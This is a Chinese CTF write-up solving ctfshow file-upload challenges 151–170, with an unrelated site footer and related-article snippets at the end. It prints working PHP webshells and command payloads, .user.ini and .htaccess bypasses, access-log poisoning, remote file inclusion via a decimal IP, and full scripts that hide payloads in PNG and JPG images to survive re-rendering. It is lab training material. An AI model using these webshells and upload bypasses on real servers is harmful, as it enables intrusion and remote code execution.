ctf-web入门-文件上传

2023-10-27

Web 151

考点:后端无验证,前端校验

查看源码可以发现只能上传png图片
修改为php

写一个php文件上传一句话木马 

可以发现已经成功上传
在这里插入图片描述

查看上级目录发现可疑文件 

查看flag.php文件内容得出flag
 

 得到flag

Web 152

考点:绕过前端校验

解题思路:
经过一系列的方法测试上题的解题方法并不适用于本题。直接改前端,后端会校验,文件不合格。那就抓包一下。

Content-Type内容修改成image/png,重发,发现成功上传

剩下的步骤与151相同查看上级目录,发现flag.php,查看flag.php内容得到flag 

 Web 153

考点:文件后缀名,黑名单

利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片

 

auto_append_file=“xxx”
xxx为我们上传的文件名
这样就在每个php文件上包含了我们的木马文件。

查看/upload目录下是否上传成功,木马上传成功
在这里插入图片描述 

 得到flag

Web 154-155

考点:文件内容过滤,过滤关键字是php

上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过

这一步和上题相似

发现已经上传成功

 

得到flag

Web 156-158 

在前面的基础上过滤了[]那我们直接用{}来代替

<?=eval($_POST{1});?>

或者那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置

<?=system('tac ../f*')?>

Web159

过滤了括号,那就用反引号就可以啦

<?=`tac ../f*`?>

Web 160

考点:过滤了php,执行函数,反引号等

解题思路:
日志包含
过滤关键字是log
所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息

web161

上传ini文件时加上GIF89A

在160的基础上增加图片头即可,即 GIF89A

然后用日志包含

<?include"/var/l"."og/nginx/access.lo"."g"?>

web162

过滤了.,所以不能利用日志包含了,先正常上传.user.ini

远程文件包含 

 因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马

如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件

<?=include"http://3024726958"?>

web163

同上用远程文件包含

GIF89a?
auto_append_file=http://6024326456

web164

考点: png二次渲染

利用下方代码进行png二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

木马内容

<?$_GET[0]($_POST[1]);?>

imagepng($img,'1.png');
要修改的图片的路径,1.png是使用的文件,可以不存在
会在目录下自动创建一个1.png图片
图片脚本内容:

$_GET[0]($_POST[1]);

使用方法:
例子:查看图片,get传入0=system;post传入tac flag.php

注:
运行上面的代码需要有php的gd库

下面的代码可以检测是否有gd库的存在

<?php
if(extension_loaded('gd')) {
echo '可以使用gd
';
foreach(gd_info() as $cate=>$value)
echo "$cate: $value
";
}else
echo '没有安装gd扩展';
?>

如没有
把你PHP目录下的ext文件夹里的php_gd.dll复制到系统目录下(C:\Windows\System32),然后修改你的php.ini文件,找到以下位置

;extension=php_gd.dll

把前面的;去掉
如php.ini中没有extension=php_gd.dll,自行添加即可

将生成的图片上传,bp抓包

web165

参考大佬解法

运用以下脚本进行jpg二次渲染绕过

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}
class DataInputStream {
    private $binData;
    private $order;
    private $size;
    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }
    public function seek() {
        return ($this->size - strlen($this->binData));
    }
    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }
    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

先上传一张jpg图片然后下载到本地重命名为2.jpg,再用jpg脚本生成payload_2.jpg
在这里插入图片描述


a为文件名

php jpg二次渲染.php a.jpg

在上传payload_2.jpg,抓包


注:
jpg脚本需在linux环境下运行,我的系统为ubuntu

安装php

sudo apt-get install php

发现报错,需要重新寻找更新源


解决方法如下:

sudo vim sources.list

deb http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-security main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-updates main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-proposed main restricted universe multiverse  deb-src http://mirrors.aliyun.com/ubuntu/ raring-backports main restricted universe multiverse  



sudo apt-get update
sudo apt-get install php

jpg脚本需要php-gd库,下面为下载流程
sudo apt-cache search php-gd(查询需要的php-gd版本)
sudo apt-get install php7.4-gd
sudo php -m(查看gd是否安装成功)

web166

前端要求上传zip格式,我们可以直接包含一句话
修改Content-Type为application/x-zip-compressed

web167

题目提示httpd 利用.htaccess进行绕过

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

接着上传图片包含一句话 

蚁剑连接得flag。 

web168

基础免杀
上传png抓包,修改文件格式为php,在文件后面执行命令

发现flag在上层目录里,直接rce

web169

考点:免杀,主要是过滤了php, <>等

创建index.php文件,因为日志文件内容将会在index.php中显现
在这里插入图片描述

UA中加入一句话木马

phpinfo()可作为瞄点

得到flag

web170

先上传一个zip,然后抓包,改Content-Typeimage/png,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 .user.ini 文件

GIF89A
auto_append_file="/var/log/nginx/access.log"

UA添加小马 

<?php @eval($_POST['shell']);?>

蚁剑相连

得到flag

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctf-web入门-文件上传 的相关文章

  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【无标题】

    大家都知道该赛项的规程和样题向来都是模棱两可 从来不说具体的内容 导致选手在备赛时没有头绪 不知道该怎么训练 到了赛时发现题目和备赛的时候完全不一样 那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程 帮助选手们指明方
  • 【安全】网络安全态势感知

    文章目录 一 态势感知简介 1 概念 2 形象举例 3 应具备的能力 二 为什么要态势感知 为什么网络安全态势感知很重要 三 态势感知系统的功能 四 如何评估态势感知的建设结果 五 什么是态势感知的三个层级 四 业界的态势感知产品 1 安全
  • V-html只用于文本,安全吗?

    我现在在关于原始 HTML 的 Vue 文档 https v2 vuejs org v2 guide syntax html Raw HTML说明我们可以使用v html渲染一些内部 html 我承认这是合法且最简单的技巧 但由于我很担心
  • Asp.Net MVC 输入验证在禁用后仍然触发

    我已经禁用了validateRequest在我的 web Config 中 但应用程序仍然引发错误 从客户端检测到潜在危险的 Request Form 值 我的 web Config 中有以下内容
  • 在Golang中实现XSS防护

    我正在使用 Golang 构建 API Rest 我有一个包含很多字段 超过 100 个 的结构 因此我使用以下命令将来自客户端的值分配给该结构gorilla schema效果很好 现在 我想避免用户在任何字符串字段中插入 Javascri
  • 使用 Python 清理用户输入

    针对基于 Python 的 Web 应用程序清理用户输入的最佳方法是什么 是否有一个函数可以删除 HTML 字符和任何其他必要的字符组合以防止XSS http en wikipedia org wiki Cross site scripti
  • XSS 背后的一般概念是什么?

    跨站脚本 XSS 是一种类型 计算机安全漏洞 通常出现在网络应用程序中 这使得恶意攻击者能够 将客户端脚本注入网络 其他用户查看的页面 一个 利用跨站点脚本 漏洞可被攻击者利用 绕过访问控制 例如 同源政策 跨站点 在网站上执行的脚本是 大
  • HTTP 标头中 CRLF 序列的不正确中和

    我在我的项目上运行了 Veracode 扫描 它在 HTTP 响应拆分下给了我 CWE ID 113 问题 我尝试根据建议解决该问题 但没有成功 例如 try String selNhid req getParameter selNhid
  • 将 html 内容从 iframe 复制到 div ( ajax )?

    假设我的浏览器加载了一个 Iframe 我可以使用ajax将test html的内容加载到html主页面的div中吗 这个想法是我的解决方案 因为我实际上正在尝试克服将 ajax 提交到远程主机的限制 该计划是生成具有 0 大小 ifram
  • 什么是 http 标头“X-XSS-Protection”?

    所以我现在一直在 telnet 中玩弄 HTTP 即只需输入telnet google com 80并放入具有不同标头的随机 GET 和 POST 等 但我遇到了 google com 在其标头中传输的一些我不知道的内容 我一直在翻阅htt
  • 如何修复java中反映的XSS

    我收到了强化报告 其中显示了来自下面第二行的 XSS 反射缺陷 String name request getParameter name response getWriter write 姓名 姓名 给出的建议 向 Web 客户端显示的所
  • img src 属性中使用 javascript 进行 XSS 攻击

    一些较旧的浏览器容易受到 XSS 攻击 img src 当前版本的 IE FF Chrome 不是 我很好奇是否有浏览器容易受到类似的攻击 img src somefile js or 或其他类似的地方 somefile js 包含一些恶意
  • 清理 AntiXSS v3 输出中的 html 编码文本(#decimal notation)

    我想在 XSS 安全的博客引擎中发表评论 尝试了很多不同的方法 但发现非常困难 当我显示评论时 我首先使用微软AntiXss 3 0 http www codeplex com AntiXSS对整个内容进行 html 编码 然后我尝试使用白
  • CodeIgniter - 为什么使用 xss_clean

    如果我正在清理我的数据库插入 并且还转义我编写的 HTMLhtmlentities text ENT COMPAT UTF 8 是否还需要使用 xss clean 过滤输入 它还有什么其他好处 xss clean http docs gip
  • 使用内容安全策略防止 Internet Explorer 11 上的内联 JavaScript

    是否可以使用 ASP NET WebForm 上的 CSP 来阻止 Internet Explorer 11 上的内联 JavaScript 我知道 IE 11 不支持内容安全策略级别 2 但它支持级别 1 0 我尝试了很多方法 但没有明确
  • 防止XSS漏洞的措施(比如Twitter前几天的一个)

    就连Twitter这样的知名网站也存在XSS漏洞 我们应该如何预防这种攻击呢 您可以做的第一件事是将您的 cookie 设置为仅 HTTP 这至少可以防止会话 cookie 劫持 就像当您可能是自己网站的管理员时有人窃取您的 cookie
  • 什么时候最好清理用户输入?

    用户等于不可信 永远不要相信不可信的用户输入 我明白了 但是 我想知道清理输入的最佳时间是什么时候 例如 您是否盲目存储用户输入 然后在访问 使用时对其进行清理 或者您是否立即清理输入 然后存储此 清理 版本 也许除了这些之外还有一些我没有
  • 强化文件中的跨站脚本

    我在控制器中有以下代码 参数 base64String fileName 是从浏览器发送的 var fileContent Convert FromBase64String base64String return File fileCont

随机推荐

  • 目标检测与识别算法研究

    一 目标检测与识别 目标检测与识别是很多计算机视觉任务的基础 通俗地讲 其目的是在目标场景中将目标用一个个框框出来 并且识别出这个框中的物体 即包括加测 where 和识别 what 两个过程 1 技术难点 目标检测与识别任务对于人类来说
  • linux c语言字符串函数replace,indexOf,substring等的实现

    c语言没有像java那么丰富的字符串操作函数 很多有用的函数得自己写 搞了一天 写了几个常用函数 留着以后有用 include
  • Spark大数据分析与实战笔记(第一章 Scala语言基础-1)

    文章目录 章节概要 1 1 初识Scala 1 1 1 Scala的概述 1 1 2 Scala的下载安装 1 1 3 在IDEA开发工具中下载安装Scala插件 1 1 4 开发第一个Scala程序 章节概要 Spark是专为大规模数据处
  • python高级变量类型

    列表概念及操作 1 列表的定义 列表格式 列表名 元素1 元素2 例 my list 1 2 3 True 空列表的定义 my list 或 my list list 2 列表的循环遍历 for 循环遍历 while循环遍历 3 列表的常见
  • 利用Keras实现FGSM算法

    最近项目中需要使用FGSM攻击方法 使用主流的foolbox和cleverhans中的攻击方法时 发现模型不匹配 所以不能继续使用 网上找到的代码也不能使用 需要自己实现一个 根据论文 Explaining and Harnessing A
  • [ACTF新生赛2020]easyre 1

    查壳 是32位 upx壳 脱壳就是找的脱壳软件 我也不是很懂 就说下我的具体操作步骤吧 打开cmd 脱upx壳的软件拖进去 空格 d 空格 有壳文件拖入 解出来了 下面看代码吧 然后就挺简单的 就这点代码 下面那个for循环逆着写就行了 注
  • 欧科云链:2023年5月链上安全事件盘点

    一 基本信息 2023年5月安全事件约造成1800万美元损失 相比上月有显著下降 但安全事件发生频率并未减少 其中针对Jimbos Protocol的攻击造成了约750万美元损失 Arbitrum链的Swaprum项目Rug Pull造成了
  • C++继承-基本语法--继承方式--继承同名成员处理方式--多继承语法--菱形继承

    1 基本语法 继承 减少重复代码 语法 class 子类 继承方式 父类 子类也叫派生类 父类也叫基类 派生类中的成员包括两大部分 一类是从基类继承过来的 一类是自己增加的成员 从基类继承过来的表现其共性 而新增的成员体现了其个性 incl
  • GBASE 8s 并行机制之 PDQ 的基本概念

    Parallel database query PDQ 即并行数据库查询 当处理决策支持类 或数据仓库类查询 查询时 PDQ 特性可以用来极大地提高数据库查询处理的性能 启用PDQ后 GBase 8s 可以将查询操作分布到多个不同的处理器上
  • Kali之MSF的MS08-067漏洞复现详解

    1 MSF初识 MSF即Metasploit Framework 是一个综合性的渗透测试工具 集成信息收集 漏洞扫描 漏洞利用以及提权等功能的工具 目前安装的kali都自带MSF 可以直接在图形界面打开 也可以在kali的终端通过使用命令m
  • 假设检验之T检验、方差检验

    假设检验 spss 差异分析 一 假设检验 1 假设检验的假设 2 原假设与研究假设的关系 3 区分两种假设 4 假设检验统计决策的原理 5 假设检验的步骤 二 t检验 1 单样本T检验 2 独立样本T检验 3 配对样本T检验 三 方差分析
  • 【数据挖掘】从“文本”到“知识”:信息抽取(Information Extraction)

    从 文本 到 知识 信息抽取 这是一个大数据的时代 随着太阳东升西落 每一天都在产生大量的数据信息 人们通常更擅长处理诸如数字之类的结构化数据 但实际情况是 非结构化数据往往比结构化的数据多 当我们从互联网上获取了大量的如文本之类的非结构化
  • 【10天基于STM32F401RET6智能锁项目实战第4天】什么是中断,中断服务函数,系统滴答定时器

    什么是中断 中断服务函数 系统滴答定时器 一 中断的概述 二 外部中断 三 系统滴答定时器 一 中断的概述 二 外部中断 三 系统滴答定时器 如果这篇博文对你有帮助赶紧关注 点赞 收藏吧 感谢你的支持 后面还会有关于中断和系统滴答定时器的相
  • 客户端负载均衡Feign之四:Feign配置

    Ribbon配置 在Feign中配置Ribbon非常简单 直接在application properties中配置即可 如 设置连接超时时间 ribbon ConnectTimeout 500 设置读取超时时间 ribbon ReadTim
  • 涨知识了!这9个鲜为人知的 Python 第三方库真棒!

    欢迎关注 专注 Python 数据分析 数据挖掘 好玩工具 Python 编程充满了机会 它简单明了 拥有许多很酷的库和特色功能 可以使任务变得简单得多 每个 Python 开发人员都必须与热门的第三方库合作 如 NumPy pandas
  • 解决pandas左上角的数据索引、替换

    对于一个dataframe 左上角可以通过如下方式索引到 dataframe columns name 示例代码 import pandas as pd import numpy as np df pd DataFrame np rando
  • Unbuntu20.04(linux)离线安装seata

    一 解压 首先下载seata的安装包 cd usr local目录下执行以下命令 tar zxvf seata server 1 4 0 tar gz 二 修改配置文件 1 修改配置文件registry conf 修改自己的nacos信息
  • CSS更改默认滚动条的样式

    简介 默认滚动条样式又宽又粗 不太美观 一般在网页布局时会将滚动条优化 加一些圆角 改颜色 改宽高等等 此时就需要更改默认滚动条的样式 使用 将下面CSS代码放在全局CSS文件 全局滚动条的样式都会改为自定义设置的样式 只想修改局部某个页面
  • Python异常重试解决方案 Python中异常重试的解决方案详解

    想了解Python中异常重试的解决方案详解的相关内容吗 标点符在本文为您仔细讲解Python异常重试解决方案的相关知识和一些Code实例 欢迎阅读和指正 我们先划重点 python 重试 python 重试机制 python 出错重试 下面
  • ctf-web入门-文件上传

    Web 151 考点 后端无验证 前端校验 查看源码可以发现只能上传png图片 修改为php 写一个php文件上传一句话木马 可以发现已经成功上传 查看上级目录发现可疑文件 查看flag php文件内容得出flag 得到flag Web 1